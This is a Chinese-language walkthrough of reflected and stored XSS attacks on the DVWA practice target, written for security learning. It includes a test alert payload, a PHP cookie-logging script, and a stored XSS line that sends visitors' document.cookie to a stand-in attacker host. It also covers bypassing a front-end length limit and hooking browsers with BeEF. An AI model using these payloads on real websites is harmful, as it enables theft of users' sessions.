本文所有渗透都是在靶机上进行的,仅供学习网络安全使用,请勿在未经允许的情况下攻击其他网站。

详细法律法规请见《中华人民共和国网络安全法》
http://www.cac.gov.cn/2016-11/07/c_1119867116.htm

XSS跨站脚本攻击原理


详见文章:https://www.yuque.com/u12173902/cgh2wq/rpvy8v

实验准备


  • 目标靶机:OWASP_Broken_Web_Apps_VM_1.2
  • 测试渗透机:kali-linux-2021.1-vmware-amd-64

反射型xss攻击(Reflected XSS)


DVWA XSS跨站脚本攻击实践 - 图1
反射型XSS攻击无法保留在服务器端上,它类似于一个搜索框,你在搜索框之类输入东西,点击搜索,输入的内容是不保存的。所以使用反射型XSS攻击,你必须向受害者发送一个链接,这个链接里面带有XSS脚本,用户访问这个链接,就会中招。

这次实践还是在 OWASP 提供的 DVWA 上进行,首先选中 XSS reflected 页面
image.png
常规输入奥特曼,表现正常。
image.png
尝试输入一句 script 脚本

  1. <script>alert('xss')</script>

一旦此脚本能执行,出现一个系统弹框,也就意味着后端服务器没有对特殊字符做过滤<>/‘ 这样就可以证明,这个页面位置存在了 XSS 漏洞。
image.png
在同一IP下(因为owaspb虚拟机的IP是本地的),你在任何地方(物理机)进入这个网址都会触发脚本攻击。正常情况就是你把这个链接发出去,只要有人点击了链接,他就会中招。

在低安全模式下,代码没做任何的特殊符号过滤。
image.png

存储型XSS(Stored XSS)


DVWA XSS跨站脚本攻击实践 - 图6
图片中XSS脚本就不是一个弹框提示了,这段代码的作用是让(受害者)访问另外一个机器的的hook.js。攻击者先将这个脚本文件传给服务器并留在服务器的留言板里面(挂马)。这时如果有一个用户访问了带有XSS脚本的页面,就会触发XSS脚本,然后让用户访问 hook.js 就等于把自己的 cookie 双手奉上了。

我们还是先用弹框提示实践
image.png
image.png
当你下一次再点开这个页面的时候,就会触发脚本image.png
在同一IP下(因为owaspb虚拟机的IP是本地的),你在任何地方(物理机)进入网站并点击 XSS stored 页面都会触发脚本攻击。

kali 获取用户的 cookie

  • 构建收集 cookie 的服务器
  • 构造XSS代码并植入 Web 服务器
  • 等待受害者触发XSS代码并将cookie发送到kali
  • cookie的利用

手动型XSS

在kali中启动收集cookie的服务器

  1. service apache2 start

构造XSS代码

  1. vim /var/www/html/cookie rec.php
  1. <?php
  2. $cookie = $_GET['cookie'];
  3. $log = fopen("cookie.txt","a");
  4. fwrite($log, $cookie . "\n");
  5. fclose($log);
  6. ?>

植入Web服务器

  1. <script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>

你会发现文本的最大长度受到了限制,但请你记住,前端的限制都形同虚设。我们可以打开开发者后台对最大长度进行修改。
image.png
修改成功
image.png
image.png
kali操作过程
image.png

但这种方法拿到的cookie是不方便的,因为我们还要自己想办法怎么去利用cookie。我们可以使用BeEF实现自动化的 XSS 攻击。

自动化XSS

Browser Exploitation Framework (BeEF)

BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透。使用BeEF,我们将不再需要自己创建php文件。

启动apache和BeEF
image.png
植入Web服务器
image.png
image.png
image.png
接下来你就可以对受害者进行各种操作了,BeEF的功能非常强大,支持获取cookie,重定向页面,页面嵌套等多种功能,感兴趣的同学可以自行实践。
image.png

总结


  • 被动型XSS和存储型XSS能实现的功能是一样的。不过被动型XSS需要去引诱用户点击链接,而存储型只需要用户进入被挂马的页面就可以了。

  • 存储型XSS的危害较大,因为用户不需要进行对于的操作,只要正常进入被挂马的页面,就会不知不觉的中招。